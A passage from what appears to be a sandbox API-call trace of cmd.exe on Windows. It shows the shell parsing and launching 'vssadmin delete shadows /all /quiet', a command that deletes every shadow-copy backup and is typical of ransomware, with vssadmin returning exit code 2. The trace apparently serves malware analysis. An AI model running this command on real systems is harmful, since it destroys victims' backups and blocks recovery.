| out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.416] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.416] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0264.416] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.416] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.416] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0264.416] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0264.416] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.416] GetFileType (hFile=0x248) returned 0x3 [0264.416] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.416] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.416] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.416] GetFileType (hFile=0x254) returned 0x3 [0264.416] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.416] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0264.416] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc37e9ffb88, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffb88*=0x24, lpOverlapped=0x0) returned 1 [0264.416] GetProcessHeap () returned 0x229d1d70000 [0264.416] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x4012) returned 0x229d1d78e90 [0264.416] GetProcessHeap () returned 0x229d1d70000 [0264.416] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78e90) returned 1 [0264.417] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0264.417] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0264.417] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0264.417] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0264.417] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0264.417] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0264.417] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0264.417] GetProcessHeap () returned 0x229d1d70000 [0264.417] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb0) returned 0x229d1d891a0 [0264.417] GetProcessHeap () returned 0x229d1d70000 [0264.418] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x22) returned 0x229d1d76330 [0264.418] GetProcessHeap () returned 0x229d1d70000 [0264.418] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x48) returned 0x229d1d89260 [0264.418] GetConsoleOutputCP () returned 0x4e3 [0264.422] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0264.422] SetThreadUILanguage (LangId=0x0) returned 0x409 [0264.428] GetConsoleTitleW (in: lpConsoleTitle=0xc37e9ff9d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0264.435] malloc (_Size=0xffce) returned 0x229d1c90840 [0264.435] ??_V@YAXPEAX@Z () returned 0x229d1c90840 [0264.435] malloc (_Size=0xffce) returned 0x229d1ca0820 [0264.435] ??_V@YAXPEAX@Z () returned 0x229d1ca0820 [0264.435] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0264.435] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0264.435] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0264.435] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0264.435] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0264.435] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0264.435] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0264.435] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0264.435] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0264.435] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0264.435] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0264.435] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0264.435] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0264.435] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0264.435] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0264.435] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0264.435] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0264.435] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0264.435] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0264.435] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0264.435] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0264.435] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0264.436] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0264.436] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0264.436] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0264.436] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0264.436] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0264.436] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0264.436] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0264.436] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0264.436] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0264.436] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0264.436] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0264.436] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0264.436] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0264.436] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0264.436] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0264.436] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0264.436] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0264.436] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0264.436] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0264.436] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0264.436] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0264.436] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0264.436] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0264.436] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0264.436] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0264.436] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0264.436] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0264.436] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0264.436] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0264.436] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0264.436] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0264.436] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0264.436] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0264.436] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0264.436] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0264.436] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0264.436] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0264.437] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0264.437] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0264.437] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0264.437] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0264.437] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0264.437] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0264.437] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0264.437] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0264.437] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0264.437] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0264.437] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0264.437] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0264.437] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0264.437] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0264.437] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0264.437] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0264.437] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0264.437] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0264.437] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0264.437] ??_V@YAXPEAX@Z () returned 0x1 [0264.437] GetProcessHeap () returned 0x229d1d70000 [0264.437] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xffde) returned 0x229d1d78e90 [0264.438] GetProcessHeap () returned 0x229d1d70000 [0264.438] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x5a) returned 0x229d1d892b0 [0264.438] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0264.438] malloc (_Size=0xffce) returned 0x229d1ca0820 [0264.438] ??_V@YAXPEAX@Z () returned 0x229d1ca0820 [0264.438] GetProcessHeap () returned 0x229d1d70000 [0264.438] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1ffac) returned 0x229d1d8c1e0 [0264.439] SetErrorMode (uMode=0x0) returned 0x0 [0264.439] SetErrorMode (uMode=0x1) returned 0x0 [0264.439] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x229d1d8c1f0, lpFilePart=0xc37e9ff250 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xc37e9ff250*="system32") returned 0x13 [0264.439] SetErrorMode (uMode=0x0) returned 0x1 [0264.439] GetProcessHeap () returned 0x229d1d70000 [0264.439] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d8c1e0, Size=0x4a) returned 0x229d1d8c1e0 [0264.439] GetProcessHeap () returned 0x229d1d70000 [0264.439] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d8c1e0) returned 0x4a [0264.439] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0264.439] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0264.439] GetProcessHeap () returned 0x229d1d70000 [0264.439] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1b6) returned 0x229d1d88e80 [0264.439] GetProcessHeap () returned 0x229d1d70000 [0264.439] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x35c) returned 0x229d1d89b70 [0264.440] GetProcessHeap () returned 0x229d1d70000 [0264.440] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d89b70, Size=0x1b8) returned 0x229d1d89b70 [0264.440] GetProcessHeap () returned 0x229d1d70000 [0264.440] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d89b70) returned 0x1b8 [0264.440] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0264.440] GetProcessHeap () returned 0x229d1d70000 [0264.440] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xe8) returned 0x229d1d89040 [0264.440] GetProcessHeap () returned 0x229d1d70000 [0264.440] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d89040, Size=0x7e) returned 0x229d1d89040 [0264.440] GetProcessHeap () returned 0x229d1d70000 [0264.440] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d89040) returned 0x7e [0264.440] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.440] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc37e9fefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc37e9fefc0) returned 0x229d1d890d0 [0264.441] FindClose (in: hFindFile=0x229d1d890d0 | out: hFindFile=0x229d1d890d0) returned 1 [0264.441] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xc37e9fefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc37e9fefc0) returned 0xffffffffffffffff [0264.441] GetLastError () returned 0x2 [0264.441] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xc37e9fefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc37e9fefc0) returned 0x229d1d890d0 [0264.441] FindClose (in: hFindFile=0x229d1d890d0 | out: hFindFile=0x229d1d890d0) returned 1 [0264.441] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0264.442] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0264.442] ??_V@YAXPEAX@Z () returned 0x1 [0264.442] GetConsoleTitleW (in: lpConsoleTitle=0xc37e9ff540, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0264.447] GetProcessHeap () returned 0x229d1d70000 [0264.448] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x21c) returned 0x229d1d777c0 [0264.448] GetConsoleTitleW (in: lpConsoleTitle=0x229d1d777d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0264.449] GetProcessHeap () returned 0x229d1d70000 [0264.449] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d777c0, Size=0xa4) returned 0x229d1d777c0 [0264.449] GetProcessHeap () returned 0x229d1d70000 [0264.449] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d777c0) returned 0xa4 [0264.449] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0264.453] GetProcessHeap () returned 0x229d1d70000 [0264.453] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d777c0) returned 1 [0264.453] InitializeProcThreadAttributeList (in: lpAttributeList=0xc37e9ff460, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xc37e9ff350 | out: lpAttributeList=0xc37e9ff460, lpSize=0xc37e9ff350) returned 1 [0264.453] UpdateProcThreadAttribute (in: lpAttributeList=0xc37e9ff460, dwFlags=0x0, Attribute=0x60001, lpValue=0xc37e9ff33c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc37e9ff460, lpPreviousValue=0x0) returned 1 [0264.453] GetStartupInfoW (in: lpStartupInfo=0xc37e9ff3f0 | out: lpStartupInfo=0xc37e9ff3f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0264.453] GetProcessHeap () returned 0x229d1d70000 [0264.453] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x20) returned 0x229d1d77610 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.453] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0264.454] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0264.454] GetProcessHeap () returned 0x229d1d70000 [0264.454] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d77610) returned 1 [0264.454] GetProcessHeap () returned 0x229d1d70000 [0264.454] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x12) returned 0x229d1d77610 [0264.454] _get_osfhandle (_FileHandle=1) returned 0x254 [0264.454] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0264.454] _get_osfhandle (_FileHandle=0) returned 0x248 [0264.454] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0264.454] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xc37e9ff380*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc37e9ff358 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xc37e9ff358*(hProcess=0x94, hThread=0x98, dwProcessId=0xe28, dwThreadId=0xe2c)) returned 1 [0264.465] CloseHandle (hObject=0x98) returned 1 [0264.465] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0264.465] GetProcessHeap () returned 0x229d1d70000 [0264.465] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d8b6b0) returned 1 [0264.465] GetEnvironmentStringsW () returned 0x229d1d8ab80* [0264.465] GetProcessHeap () returned 0x229d1d70000 [0264.465] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb24) returned 0x229d1d8b6b0 [0264.465] FreeEnvironmentStringsA (penv="=") returned 1 [0264.465] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xc37e9fe858, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xc37e9fe858, ReturnLength=0x0) returned 0x0 [0264.465] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xb02cf05000, lpBuffer=0xc37e9fe890, nSize=0x7a0, lpNumberOfBytesRead=0xc37e9fe850 | out: lpBuffer=0xc37e9fe890*, lpNumberOfBytesRead=0xc37e9fe850*=0x7a0) returned 1 [0264.465] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0272.644] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xc37e9ff2d8 | out: lpExitCode=0xc37e9ff2d8*=0x2) returned 1 [0272.644] CloseHandle (hObject=0x94) returned 1 [0272.644] _vsnwprintf (in: _Buffer=0xc37e9ff4a8, _BufferCount=0x13, _Format="%08X", _ArgList=0xc37e9ff2e8 | out: _Buffer="00000002") returned 8 [0272.644] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0272.644] GetProcessHeap () returned 0x229d1d70000 [0272.644] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d8b6b0) returned 1 [0272.644] GetEnvironmentStringsW () returned 0x229d1d8ab80* [0272.644] GetProcessHeap () returned 0x229d1d70000 [0272.644] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb24) returned 0x229d1d8b6b0 [0272.644] FreeEnvironmentStringsA (penv="=") returned 1 [0272.644] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0272.644] GetProcessHeap () returned 0x229d1d70000 [0272.645] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d8b6b0) returned 1 [0272.645] GetEnvironmentStringsW () returned 0x229d1d8ab80* [0272.645] GetProcessHeap () returned 0x229d1d70000 [0272.645] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb24) returned 0x229d1d8b6b0 [0272.645] FreeEnvironmentStringsA (penv="=") returned 1 [0272.645] GetProcessHeap () returned 0x229d1d70000 [0272.645] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d77610) returned 1 [0272.645] DeleteProcThreadAttributeList (in: lpAttributeList=0xc37e9ff460 | out: lpAttributeList=0xc37e9ff460) [0272.645] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0272.652] ??_V@YAXPEAX@Z () returned 0x1 [0272.652] _get_osfhandle (_FileHandle=1) returned 0x254 [0272.652] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0272.652] _get_osfhandle (_FileHandle=1) returned 0x254 [0272.653] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff67d04fc08 | out: lpMode=0x7ff67d04fc08) returned 0 [0272.653] _get_osfhandle (_FileHandle=0) returned 0x248 [0272.653] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff67d04fc0c | out: lpMode=0x7ff67d04fc0c) returned 0 [0272.653] GetConsoleOutputCP () returned 0x4e3 [0273.118] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0273.118] SetThreadUILanguage (LangId=0x0) returned 0x409 [0273.472] GetProcessHeap () returned 0x229d1d70000 [0273.472] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d89040) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d89b70) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d88e80) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d8c1e0) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d892b0) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap 